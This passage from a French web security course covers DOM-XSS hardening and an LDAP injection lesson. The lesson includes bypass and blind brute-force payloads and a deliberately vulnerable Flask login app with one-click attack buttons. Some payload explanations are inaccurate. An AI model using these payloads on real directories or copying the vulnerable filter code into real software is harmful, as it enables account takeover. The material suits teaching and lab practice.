            background: linear-gradient(135deg, #10b981 0%, #059669 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .success {
            background: #10b981;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .nav {
            background: rgba(255,255,255,0.1);
            padding: 15px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
        .nav a {
            color: white;
            text-decoration: none;
            padding: 10px 20px;
            margin: 0 5px;
            background: rgba(0,0,0,0.3);
            border-radius: 5px;
            display: inline-block;
        }
        .content {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 30px;
            border-radius: 10px;
            min-height: 400px;
        }
        input {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            padding: 12px 30px;
            background: linear-gradient(135deg, #10b981 0%, #059669 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
        }
        .protections {
            background: rgba(16,185,129,0.2);
            border: 2px solid #10b981;
            padding: 20px;
            border-radius: 10px;
            margin-top: 30px;
        }
        .search-result {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SECURITE] Secure Web App</h1>
            <p>DOM-based XSS Protection Implemented</p>
        </div>
        
        <div class="success">
            [OK] APPLICATION SÉCURISÉE - Protections DOM-based XSS actives
        </div>
        
        <div class="nav">
            <a href="#home" onclick="navigate('home'); return false;">[ACCUEIL] Home</a>
            <a href="#search" onclick="navigate('search'); return false;">[RECHERCHE] Search</a>
            <a href="#profile" onclick="navigate('profile'); return false;">[UTILISATEUR] Profile</a>
            <a href="#messages" onclick="navigate('messages'); return false;">[SPEECH_BALLOON] Messages</a>
        </div>
        
        <div class="content" id="content">
            Loading...
        </div>
        
        <div class="protections">
            <h2>[SECURITE] Active Protections</h2>
            <ul style="margin-left: 20px; line-height: 1.8;">
                <li>[OK] DOMPurify sanitization for all user input</li>
                <li>[OK] textContent instead of innerHTML where possible</li>
                <li>[OK] URL validation with whitelist</li>
                <li>[OK] postMessage origin validation</li>
                <li>[OK] Content Security Policy (CSP)</li>
                <li>[OK] No eval(), Function(), or dangerous sinks</li>
                <li>[OK] Strict URL protocol validation</li>
            </ul>
        </div>
    </div>
    
    <!-- jQuery -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    
    <!-- [OK] DOMPurify for sanitization -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
    
    <script>
        // ===== SECURE UTILITIES =====
        
        function sanitizeHTML(html) {
            // [OK] DOMPurify sanitization
            return DOMPurify.sanitize(html, {
                ALLOWED_TAGS: ['p', 'strong', 'em', 'br', 'h1', 'h2', 'h3', 'div'],
                ALLOWED_ATTR: []
            });
        }
        
        function escapeHTML(str) {
            // [OK] Manual escaping
            const div = document.createElement('div');
            div.textContent = str;
            return div.innerHTML;
        }
        
        function isValidUrl(url) {
            try {
                const parsed = new URL(url);
                
                // [OK] Whitelist protocols
                if (!['http:', 'https:'].includes(parsed.protocol)) {
                    return false;
                }
                
                // [OK] Whitelist domains (optionnel)
                // const allowedDomains = ['example.com', 'trusted.com'];
                // if (!allowedDomains.some(d => parsed.hostname.endsWith(d))) {
                //     return false;
                // }
                
                return true;
            } catch {
                return false;
            }
        }
        
        // ===== SECURE ROUTING =====
        
        function navigate(page) {
            const content = document.getElementById('content');
            
            // [OK] Utiliser textContent pour afficher le hash (safe)
            const hash = location.hash.substring(1);
            
            // [OK] Switch strict au lieu d'afficher directement
            switch(page) {
                case 'home':
                    showHome(hash);
                    break;
                case 'search':
                    showSearch();
                    break;
                case 'profile':
                    showProfile();
                    break;
                case 'messages':
                    showMessages();
                    break;
                default:
                    content.innerHTML = '<h2>404 - Page not found</h2>';
            }
        }
        
        function showHome(hash) {
            const content = document.getElementById('content');
            
            // [OK] Créer éléments avec DOM API
            content.innerHTML = '<h2>[ACCUEIL] Welcome Home</h2>';
            
            const p1 = document.createElement('p');
            p1.textContent = 'Welcome to our secure web app!';
            content.appendChild(p1);
            
            const p2 = document.createElement('p');
            p2.textContent = 'Current URL fragment: ' + hash;  // [OK] textContent (safe)
            content.appendChild(p2);
        }
        
        // ===== SECURE SEARCH =====
        
        function showSearch() {
            const content = document.getElementById('content');
            
            // [OK] Utiliser innerHTML seulement avec contenu statique
            content.innerHTML = `
                <h2>[RECHERCHE] Search</h2>
                <input type="text" id="search-input" placeholder="Search...">
                <button onclick="performSearch()">Search</button>
                <div id="search-results"></div>
            `;
            
            // [OK] Lire query parameter de manière sécurisée
            const params = new URLSearchParams(location.hash.split('?')[1]);
            const query = params.get('q');
            
            if (query) {
                // [OK] Utiliser value (safe pour input)
                document.getElementById('search-input').value = query;
                performSearch();
            }
        }
        
        function performSearch() {
            const query = document.getElementById('search-input').value;
            const results = document.getElementById('search-results');
            
            // [OK] Créer éléments avec DOM API
            results.innerHTML = '';
            
            const h3 = document.createElement('h3');
            h3.textContent = 'Results for: ' + query;  // [OK] textContent
            results.appendChild(h3);
            
            // Créer résultats
            for (let i = 1; i <= 2; i++) {
                const div = document.createElement('div');
                div.className = 'search-result';
                
                const strong = document.createElement('strong');
                strong.textContent = 'Result ' + i + ': ';
                div.appendChild(strong);
                
                const text = document.createTextNode('Document containing "' + query + '"');
                div.appendChild(text);
                
                results.appendChild(div);
            }
        }
        
        // ===== SECURE PROFILE =====
        
        function showProfile() {
            const content = document.getElementById('content');
            
            content.innerHTML = `
                <h2>[UTILISATEUR] User Profile</h2>
                <p><strong>Name:</strong> John Doe</p>
                <p><strong>Email:</strong> john@example.com</p>
                <div id="profile-extra"></div>
            `;
            
            // [OK] PAS d'eval() - Supprimer complètement cette fonctionnalité
            // Ou utiliser une bibliothèque de parsing sécurisée
            
            const params = new URLSearchParams(location.hash.split('?')[1]);
            const calc = params.get('calc');
            
            if (calc) {
                const extra = document.getElementById('profile-extra');
                const p = document.createElement('p');
                p.style.color = '#fbbf24';
                p.textContent = '[ATTENTION] Calculator feature disabled for security';
                extra.appendChild(p);
            }
        }
        
        // ===== SECURE MESSAGES =====
        
        function showMessages() {
            const content = document.getElementById('content');
            
            content.innerHTML = `
                <h2>[SPEECH_BALLOON] Messages</h2>
                <div id="message-list">
                    <div class="search-result">
                        <strong>From Alice:</strong> Hello!
                    </div>
                    <div class="search-result">
                        <strong>From Bob:</strong> How are you?
                    </div>
                </div>
            `;
            
            // [OK] Valider URL avant redirection
            const params = new URLSearchParams(location.hash.split('?')[1]);
            const redirect = params.get('redirect');
            
            if (redirect) {
                if (isValidUrl(redirect)) {
                    const p = document.createElement('p');
                    p.textContent = 'Redirecting to: ' + redirect;
                    content.appendChild(p);
                    
                    setTimeout(() => {
                        location.href = redirect;  // [OK] Validé
                    }, 2000);
                } else {
                    const p = document.createElement('p');
                    p.style.color = '#ff4444';
                    p.textContent = '[ATTENTION] Invalid redirect URL blocked';
                    content.appendChild(p);
                }
            }
        }
        
        // ===== SECURE postMessage =====
        
        // [OK] Validation origin stricte
        const ALLOWED_ORIGINS = [
            'https://trusted.com',
            'https://example.com',
            window.location.origin  // Pour démo
        ];
        
        window.addEventListener('message', function(e) {
            // [OK] Vérifier origin
            if (!ALLOWED_ORIGINS.includes(e.origin)) {
                console.warn('Blocked message from unauthorized origin:', e.origin);
                return;
            }
            
            // [OK] Valider structure
            if (!e.data || typeof e.data !== 'object' || e.data.type !== 'message') {
                console.warn('Invalid message structure');
                return;
            }
            
            const content = document.getElementById('content');
            content.innerHTML = '<h2>[MESSAGE] New Message Received</h2>';
            
            const div = document.createElement('div');
            div.className = 'search-result';
            
            // [OK] textContent pour tout
            const fromLabel = document.createElement('strong');
            fromLabel.textContent = 'From: ';
            div.appendChild(fromLabel);
            
            const fromText = document.createTextNode(e.data.from);
            div.appendChild(fromText);
            
            div.appendChild(document.createElement('br'));
            
            const msgLabel = document.createElement('strong');
            msgLabel.textContent = 'Message: ';
            div.appendChild(msgLabel);
            
            const msgText = document.createTextNode(e.data.message);
            div.appendChild(msgText);
            
            content.appendChild(div);
        });
        
        // ===== INITIALIZE =====
        
        if (location.hash) {
            const page = location.hash.substring(1).split('?')[0] || 'home';
            navigate(page);
        } else {
            navigate('home');
        }
        
        window.addEventListener('hashchange', function() {
            const page = location.hash.substring(1).split('?')[0] || 'home';
            navigate(page);
        });
    </script>
</body>
</html>
    ''')

if __name__ == '__main__':
    print("[SECURITE]  DOM-based XSS SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. DOMPurify sanitization")
    print("   2. textContent instead of innerHTML")
    print("   3. URL validation with protocol whitelist")
    print("   4. postMessage origin validation")
    print("   5. Content Security Policy")
    print("   6. No eval() or dangerous sinks")
    print("   7. DOM API methods for element creation")
    app.run(debug=False, port=5001)
```

**Tester la protection :**

```bash
python dom_xss_secure.py
```

**Essayer les payloads précédents :**
- Tous sont bloqués ou neutralisés
- DOMPurify sanitize les inputs
- textContent empêche l'exécution HTML
- URL validation bloque javascript: protocol

---

## [GRAPHIQUE] RÉCAPITULATIF DOM-BASED ATTACKS

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| DOMPurify | ***** | [OK] Facile |
| textContent au lieu innerHTML | ***** | [OK] Facile |
| URL validation | ***** | [OK] Facile |
| postMessage origin check | ***** | [OK] Facile |
| CSP | ***** | [ATTENTION] Moyen |
| Éviter eval() | ***** | [OK] Facile |
| DOM API methods | **** | [OK] Facile |

---

### [X] Erreurs critiques

- [X] Utiliser innerHTML avec données utilisateur
- [X] eval() ou Function() avec input
- [X] Pas de sanitization avant insertion DOM
- [X] javascript: protocol autorisé
- [X] postMessage sans validation origin
- [X] Pas de CSP
- [X] jQuery .html() sans sanitization

---

### [OBJECTIF] Checklist complète

```javascript
[OK] Utiliser DOMPurify pour sanitization
[OK] textContent au lieu de innerHTML
[OK] Valider toutes les URLs (whitelist protocols)
[OK] Vérifier origin dans postMessage
[OK] Content Security Policy stricte
[OK] JAMAIS eval(), setTimeout(string), setInterval(string)
[OK] Utiliser createElement() et textContent
[OK] Valider données de localStorage/sessionStorage
[OK] Encoder attributs HTML
[OK] Limiter utilisation de jQuery .html()
[OK] Audit régulier avec outils statiques
```

---

### [RECHERCHE] Outils de détection

```bash
# DOM XSS Scanner
npm install -g dom-xss-scanner
dom-xss-scanner http://localhost:5000

# ESLint plugin
npm install eslint-plugin-no-unsafe-innerhtml
```

---

## [COURS] CONCLUSION GÉNÉRALE - TABLE DES MATIÈRES COMPLÈTE

**Félicitations ! Vous avez maintenant couvert TOUTE la table des matières ! [BRAVO]**

### [OK] RÉCAPITULATIF COMPLET

#### PARTIE 1 : INJECTION ATTACKS [OK]
1. [OK] **SQL Injection** (Exercices 1-2)
2. [OK] **Command Injection** (Exercice 14)
3. [X] **LDAP Injection** - Manque toujours
4. [OK] **XXE** (Exercice 10)

#### PARTIE 2 : CLIENT-SIDE ATTACKS [OK]
1. [OK] **XSS** (Exercices 3-4)
2. [OK] **CSRF** (Exercice 5)
3. [OK] **Clickjacking** (Exercice 6)
4. [OK] **DOM-based Attacks** (Exercice 19) - COMPLET !

#### PARTIE 3 : BROKEN ACCESS CONTROL [OK]
1. [OK] **IDOR** (Exercice 9)
2. [OK] **Path Traversal** (Exercice 15)
3. [OK] **Privilege Escalation** (Exercice 9)

#### PARTIE 4 : AUTHENTICATION & SESSION [OK]
1. [OK] **Broken Authentication** (Exercice 17)
2. [OK] **Session Fixation** (Exercice 18)
3. [OK] **JWT Vulnerabilities** (Exercice 16)

#### PARTIE 5 : AUTRES VULNÉRABILITÉS [OK]
1. [OK] **SSRF** (Exercice 11)
2. [OK] **Insecure Deserialization** (Exercice 7)
3. [OK] **Security Misconfiguration** (Exercice 8)

#### BONUS [OK]
- [OK] Apache HTTP Server (5 exercices)
- [OK] Components with Known Vulnerabilities (Exercice 12)
- [OK] Insufficient Logging & Monitoring (Exercice 13)

---

### [HAUSSE] STATISTIQUES DU COURS

- **19 exercices pratiques** complets
- **17 vulnérabilités majeures** couvertes
- **Code vulnérable + sécurisé** pour chaque sujet
- **Cas réels** d'exploitation
- **Scripts d'attaque** automatisés
- **Protections détaillées** avec implémentation

---

**Restez seulement : LDAP Injection**

**Voulez-vous que je couvre LDAP Injection pour compléter à 100% ?** [OBJECTIF]

# 18. LDAP INJECTION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que LDAP ?

**LDAP (Lightweight Directory Access Protocol)** est un protocole pour accéder et maintenir des **services d'annuaire** distribués sur un réseau IP.

**Analogie simple :**

LDAP est comme un **annuaire téléphonique d'entreprise** hiérarchique :
- **Organisation** -> Entreprise (dc=company,dc=com)
- **Départements** -> RH, IT, Sales (ou=IT,dc=company,dc=com)
- **Employés** -> Alice, Bob (cn=alice,ou=IT,dc=company,dc=com)

Chaque entrée a des attributs : nom, email, téléphone, rôle, etc.

---

### Structure LDAP

**DN (Distinguished Name) :**

```
cn=Alice Smith,ou=IT,dc=company,dc=com
│   │          │     │         │
│   │          │     │         └─ Component (.com)
│   │          │     └─ Component (company)
│   │          └─ Organizational Unit (IT department)
│   └─ Common Name (Alice Smith)
└─ Attribute type
```

**Composants :**
- `cn` : Common Name (nom commun)
- `ou` : Organizational Unit (unité organisationnelle)
- `dc` : Domain Component (composant de domaine)
- `uid` : User ID
- `mail` : Email address
- `sn` : Surname (nom de famille)

---

### Filtres LDAP

**Syntaxe de base :**

```ldap
(attribute=value)
```

**Opérateurs :**

| Opérateur | Signification | Exemple |
|-----------|---------------|---------|
| `=` | Égal | `(cn=Alice)` |
| `~=` | Approximation | `(cn~=Alise)` |
| `>=` | Plus grand ou égal | `(age>=18)` |
| `<=` | Plus petit ou égal | `(age<=65)` |
| `=*` | Existe | `(mail=*)` |
| `*` | Wildcard | `(cn=Ali*)` |

**Opérateurs logiques :**

| Opérateur | Signification | Exemple |
|-----------|---------------|---------|
| `&` | AND | `(&(cn=Alice)(ou=IT))` |
| `\|` | OR | `(\|(cn=Alice)(cn=Bob))` |
| `!` | NOT | `(!(cn=Alice))` |

**Exemples de filtres :**

```ldap
# Utilisateur spécifique
(cn=Alice Smith)

# Tous les utilisateurs du département IT
(ou=IT)

# Utilisateurs avec email
(&(cn=*)(mail=*))

# Alice OU Bob
(|(cn=Alice)(cn=Bob))

# Pas Alice
(!(cn=Alice))

# Nom commence par 'A' dans IT
(&(cn=A*)(ou=IT))
```

---

## [DEVERROUILLE] QU'EST-CE QUE LDAP INJECTION ?

**Définition :**
Vulnérabilité permettant à un attaquant de **modifier des requêtes LDAP** en injectant des caractères spéciaux dans l'input utilisateur.

**Code vulnérable :**

```python
username = request.form.get('username')
password = request.form.get('password')

# [X] VULNÉRABLE : Concaténation directe
ldap_filter = f"(&(uid={username})(userPassword={password}))"

# Recherche LDAP
conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)
```

**Utilisation normale :**

```
username: alice
password: secret123

Filter: (&(uid=alice)(userPassword=secret123))
-> [OK] Recherche Alice avec password
```

**Exploitation LDAP Injection :**

```
username: alice)(uid=*))(|(uid=*
password: anything

Filter: (&(uid=alice)(uid=*))(|(uid=*)(userPassword=anything))
                     └────────┘  └────────────────────────┘
                      Toujours vrai    OR avec n'importe quoi

Simplifié: (uid=*) -> Tous les utilisateurs !
-> [X] Bypass authentication !
```

---

### Types d'attaques LDAP Injection

#### 1. **Authentication Bypass (AND)**

**Payload :**

```
username: admin)(&)
password: [anything]
```

**Requête construite :**

```ldap
(&(uid=admin)(&)(userPassword=[anything]))
           └──┘
         Toujours vrai
```

**Résultat :** Bypass authentication !

---

#### 2. **Authentication Bypass (OR)**

**Payload :**

```
username: *)(uid=*))(|(uid=*
password: [anything]
```

**Requête construite :**

```ldap
(&(uid=*)(uid=*))(|(uid=*)(userPassword=[anything]))
       └─────────┘  └──────────────────────────┘
      Tous users      OR avec n'importe quoi

-> Retourne tous les utilisateurs
```

---

#### 3. **Wildcard Injection**

**Payload :**

```
username: admin*
```

**Requête :**

```ldap
(uid=admin*)
```

**Résultat :** Trouve admin, admin1, admin2, administrator, etc.

---

#### 4. **Blind LDAP Injection**

Comme SQL Blind, on devine les informations caractère par caractère.

**Payload pour tester si admin existe :**

```
username: admin*
-> Si résultat : admin existe

username: admin1*
-> Pas de résultat : admin1 n'existe pas
```

**Bruteforce du password :**

```
username: admin)(userPassword=a*
username: admin)(userPassword=b*
...
-> Si résultat avec 'a' : password commence par 'a'

username: admin)(userPassword=aa*
username: admin)(userPassword=ab*
-> Continue jusqu'à trouver le password complet
```

---

#### 5. **Information Disclosure**

**Payload :**

```
username: *
```

**Requête :**

```ldap
(uid=*)
```

**Résultat :** Liste TOUS les utilisateurs !

---

#### 6. **Boolean-based Blind Injection**

**Tester si un attribut existe :**

```
# Test : admin a un attribut 'mail'
username: admin)(mail=*

Si résultat -> admin a un email
Si pas de résultat -> admin n'a pas d'email
```

---

### Caractères spéciaux LDAP

| Caractère | Encodage | Usage |
|-----------|----------|-------|
| `*` | `\2a` | Wildcard |
| `(` | `\28` | Parenthèse ouvrante |
| `)` | `\29` | Parenthèse fermante |
| `\` | `\5c` | Backslash |
| `/` | `\2f` | Slash |
| `NUL` | `\00` | Null byte |

---

### Cas réels

**1. Cisco (CVE-2018-0329)**

**Faille :** LDAP Injection dans Cisco Prime Infrastructure

```python
# Code vulnérable
username = request.get('username')
filter = f"(uid={username})"
```

**Exploitation :** Bypass authentication

**Impact :** Accès admin à l'infrastructure

---

**2. OpenLDAP (2007)**

**Faille :** Injection dans filtres de recherche

**Impact :** Information disclosure, bypass auth

---

**3. Applications d'entreprise**

Nombreuses applications internes utilisant LDAP pour SSO (Single Sign-On) sont vulnérables :
- Portails intranet
- VPN
- Webmail
- CRM/ERP

---

### Impact de LDAP Injection

| Impact | Gravité | Description |
|--------|---------|-------------|
| **Authentication Bypass** | CRITIQUE | Accès sans credentials |
| **Privilege Escalation** | CRITIQUE | Accès admin |
| **Information Disclosure** | ÉLEVÉ | Liste utilisateurs, emails, structure |
| **Account Enumeration** | MOYEN | Liste comptes existants |
| **DoS** | MOYEN | Requêtes complexes |

---

## [CODE] EXERCICE 20 : LDAP INJECTION

### Objectif

Créer une application d'authentification LDAP avec :
- Serveur LDAP OpenLDAP
- Interface de login
- Recherche d'utilisateurs
- Démonstration d'exploitation LDAP Injection
- Protection complète avec échappement

---

### PARTIE A : CONFIGURATION SERVEUR LDAP

**1. Installer OpenLDAP (Docker) :**

```bash
# docker-compose.yml
version: '3'

services:
  ldap:
    image: osixia/openldap:latest
    container_name: ldap_server
    environment:
      LDAP_ORGANISATION: "MyCompany"
      LDAP_DOMAIN: "company.com"
      LDAP_ADMIN_PASSWORD: "admin_password"
    ports:
      - "389:389"
      - "636:636"
    volumes:
      - ./ldap_data:/var/lib/ldap
      - ./ldap_config:/etc/ldap/slapd.d

  phpldapadmin:
    image: osixia/phpldapadmin:latest
    container_name: ldap_admin
    environment:
      PHPLDAPADMIN_LDAP_HOSTS: "ldap"
    ports:
      - "8080:80"
    depends_on:
      - ldap
```

**Lancer :**

```bash
docker-compose up -d
```

**2. Peupler le serveur LDAP :**

```python
# populate_ldap.py
import ldap
import ldap.modlist as modlist

# Connexion
ldap_host = 'ldap://localhost:389'
admin_dn = 'cn=admin,dc=company,dc=com'
admin_password = 'admin_password'

conn = ldap.initialize(ldap_host)
conn.simple_bind_s(admin_dn, admin_password)

# Base DN
base_dn = 'dc=company,dc=com'

# Créer OU (Organizational Units)
ous = [
    {
        'dn': 'ou=users,dc=company,dc=com',
        'attrs': {
            'objectClass': [b'organizationalUnit', b'top'],
            'ou': [b'users']
        }
    },
    {
        'dn': 'ou=groups,dc=company,dc=com',
        'attrs': {
            'objectClass': [b'organizationalUnit', b'top'],
            'ou': [b'groups']
        }
    }
]

for ou in ous:
    try:
        ldif = modlist.addModlist(ou['attrs'])
        conn.add_s(ou['dn'], ldif)
        print(f"[OK] Created: {ou['dn']}")
    except ldap.ALREADY_EXISTS:
        print(f"[ATTENTION]  Already exists: {ou['dn']}")

# Créer utilisateurs
users = [
    {
        'dn': 'uid=alice,ou=users,dc=company,dc=com',
        'attrs': {
            'objectClass': [b'inetOrgPerson', b'posixAccount', b'top'],
            'cn': [b'Alice Smith'],
            'sn': [b'Smith'],
            'uid': [b'alice'],
            'userPassword': [b'alice123'],
            'mail': [b'alice@company.com'],
            'uidNumber': [b'1001'],
            'gidNumber': [b'1001'],
            'homeDirectory': [b'/home/alice'],
            'description': [b'IT Department - Developer']
        }
    },
    {
        'dn': 'uid=bob,ou=users,dc=company,dc=com',
        'attrs': {
            'objectClass': [b'inetOrgPerson', b'posixAccount', b'top'],
            'cn': [b'Bob Johnson'],
            'sn': [b'Johnson'],
            'uid': [b'bob'],
            'userPassword': [b'bob123'],
            'mail': [b'bob@company.com'],
            'uidNumber': [b'1002'],
            'gidNumber': [b'1002'],
            'homeDirectory': [b'/home/bob'],
            'description': [b'HR Department - Manager']
        }
    },
    {
        'dn': 'uid=admin,ou=users,dc=company,dc=com',
        'attrs': {
            'objectClass': [b'inetOrgPerson', b'posixAccount', b'top'],
            'cn': [b'Admin User'],
            'sn': [b'User'],
            'uid': [b'admin'],
            'userPassword': [b'admin_secret_password'],
            'mail': [b'admin@company.com'],
            'uidNumber': [b'1000'],
            'gidNumber': [b'1000'],
            'homeDirectory': [b'/root'],
            'description': [b'Administrator Account']
        }
    },
    {
        'dn': 'uid=charlie,ou=users,dc=company,dc=com',
        'attrs': {
            'objectClass': [b'inetOrgPerson', b'posixAccount', b'top'],
            'cn': [b'Charlie Brown'],
            'sn': [b'Brown'],
            'uid': [b'charlie'],
            'userPassword': [b'charlie123'],
            'mail': [b'charlie@company.com'],
            'uidNumber': [b'1003'],
            'gidNumber': [b'1003'],
            'homeDirectory': [b'/home/charlie'],
            'description': [b'Sales Department']
        }
    }
]

for user in users:
    try:
        ldif = modlist.addModlist(user['attrs'])
        conn.add_s(user['dn'], ldif)
        print(f"[OK] Created user: {user['dn']}")
    except ldap.ALREADY_EXISTS:
        print(f"[ATTENTION]  User already exists: {user['dn']}")

conn.unbind_s()
print("\n[OK] LDAP server populated successfully!")
```

**Installer dépendances et exécuter :**

```bash
pip install python-ldap
python populate_ldap.py
```

---

### PARTIE B : APPLICATION VULNÉRABLE

```python
# ldap_injection_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import ldap

app = Flask(__name__)
CORS(app)

# Configuration LDAP
LDAP_HOST = 'ldap://localhost:389'
BASE_DN = 'dc=company,dc=com'
USERS_DN = 'ou=users,dc=company,dc=com'

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>LDAP Authentication - Vulnerable</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(450px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
            margin-bottom: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 200px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .user-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .attack-item h4 { color: #ff4444; margin-bottom: 10px; }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
        .credentials {
            background: rgba(0,0,0,0.5);
            padding: 15px;
            border-radius: 5px;
            margin-top: 15px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SECURISE] LDAP Authentication Portal</h1>
            <p>Company Directory Service</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - LDAP INJECTION POSSIBLE
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="login-username" placeholder="Username" value="alice">
                <input type="password" id="login-password" placeholder="Password" value="alice123">
                <button onclick="login()">Login</button>
                
                <div class="credentials">
                    <strong>Valid Accounts:</strong><br>
                    alice / alice123<br>
                    bob / bob123<br>
                    admin / admin_secret_password<br>
                    charlie / charlie123
                </div>
            </div>
            
            <!-- SEARCH -->
            <div class="card">
                <h3>[RECHERCHE] Search Users</h3>
                <input type="text" id="search-query" placeholder="Search by username">
                <button onclick="searchUsers()">Search</button>
                <div id="search-results"></div>
            </div>
        </div>
        
        <div class="card">
            <h3>[FICHIER] Output / Debug</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] LDAP Injection Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Authentication Bypass - OR Injection</h4>
                <p>Username: <code>*)(uid=*))(|(uid=*</code></p>
                <p>Password: <code>anything</code></p>
                <button onclick="attack1()">Test Attack 1</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Authentication Bypass - AND Injection</h4>
                <p>Username: <code>admin)(&amp;)</code></p>
                <p>Password: <code>anything</code></p>
                <button onclick="attack2()">Test Attack 2</button>
            </div>
            
            <div class="attack-item">
                <h4>3. Wildcard Injection</h4>
                <p>Username: <code>admin*</code></p>
                <p>Finds: admin, administrator, admin1, etc.</p>
                <button onclick="attack3()">Test Attack 3</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Information Disclosure</h4>
                <p>Search: <code>*</code></p>
                <p>Returns: ALL users in directory</p>
                <button onclick="attack4()">Test Attack 4</button>
            </div>
            
            <div class="attack-item">
                <h4>5. Attribute Disclosure</h4>
                <p>Username: <code>admin)(mail=*</code></p>
                <p>Tests if admin has email attribute</p>
                <button onclick="attack5()">Test Attack 5</button>
            </div>
            
            <div class="attack-item">
                <h4>6. Comment Injection</h4>
                <p>Username: <code>admin)</code></p>
                <p>Comments out the password check</p>
                <button onclick="attack6()">Test Attack 6</button>
            </div>
        </div>
    </div>
    
    <script>
        async function login() {
            const username = document.getElementById('login-username').value;
            const password = document.getElementById('login-password').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Attempting login...';
            
            try {
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function searchUsers() {
            const query = document.getElementById('search-query').value;
            const output = document.getElementById('output');
            const results = document.getElementById('search-results');
            
            output.textContent = 'Searching...';
            results.innerHTML = '';
            
            try {
                const response = await fetch('/api/search?q=' + encodeURIComponent(query));
                const data = await response.json();
                
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.users && data.users.length > 0) {
                    results.innerHTML = '<h4>Found ' + data.users.length + ' user(s):</h4>';
                    data.users.forEach(user => {
                        results.innerHTML += `
                            <div class="user-item">
                                <strong>${user.cn}</strong><br>
                                UID: ${user.uid}<br>
                                Email: ${user.mail || 'N/A'}<br>
                                Description: ${user.description || 'N/A'}
                            </div>
                        `;
                    });
                } else {
                    results.innerHTML = '<p>No users found</p>';
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        // Attack functions
        function attack1() {
            document.getElementById('login-username').value = '*)(uid=*))(|(uid=*';
            document.getElementById('login-password').value = 'anything';
            login();
        }
        
        function attack2() {
            document.getElementById('login-username').value = 'admin)(&)';
            document.getElementById('login-password').value = 'wrong_password';
            login();
        }
        
        function attack3() {
            document.getElementById('login-username').value = 'admin*';
            document.getElementById('login-password').value = 'anything';
            login();
        }
        
        function attack4() {
            document.getElementById('search-query').value = '*';
            searchUsers();
        }
        
        function attack5() {
            document.getElementById('login-username').value = 'admin)(mail=*';
            document.getElementById('login-password').value = 'anything';
            login();
        }
        
        function attack6() {
            document.getElementById('login-username').value = 'admin)';
            document.getElementById('login-password').value = 'anything';
            login();
        }
    </script>
</body>
